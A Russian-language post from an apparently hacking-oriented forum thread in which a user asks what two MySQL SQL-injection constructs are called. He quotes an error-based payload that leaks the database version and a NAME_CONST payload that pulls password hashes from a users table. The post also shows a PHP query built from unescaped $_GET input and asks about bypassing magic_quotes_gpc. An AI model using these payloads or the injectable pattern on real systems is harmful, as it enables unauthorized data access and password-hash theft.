Ваши вопросы по уязвимостям.

#10

14.05.2010, 20:30

DrakonHaSh

Познающий

Регистрация: 16.04.2008

Сообщений: 88

С нами: 9509918

Репутация: 30

Цитата:

Сообщение от [Feldmarschall]

DrakonHaSh
https://forum.antichat.ru/thread119047.html

и П.С https://forum.antichat.ru/thread104591.html

пользоваться и применять я это умею

вникни, пожалуйста, в то, что я спрашиваю:

1. по mysql:
1a.

Код:

+or(1,1)=select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)

как выделенная конструкция называется и где о ней можно почитать в доке по mysql ?

1b.

Код:

SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a

как выделенные конструкции называются и где об этом можно почитать в доке по mysql ?

2. если есть код вида

Код:

$GetParam= $_GET["Param"];
$query = "SELECT * FROM TableName WHERE ColunmName ='".$GetParam."'";
$result = mysql_query($query)

и magic_quotes_gpc = On
то в общем случае сделать ничего нельзя ? [известные мне исключения - "двойной" запрос от Scipio и использование мультибайтовых кодировок (есть в блоге у Raz0r)] еще какие нить варианты есть ?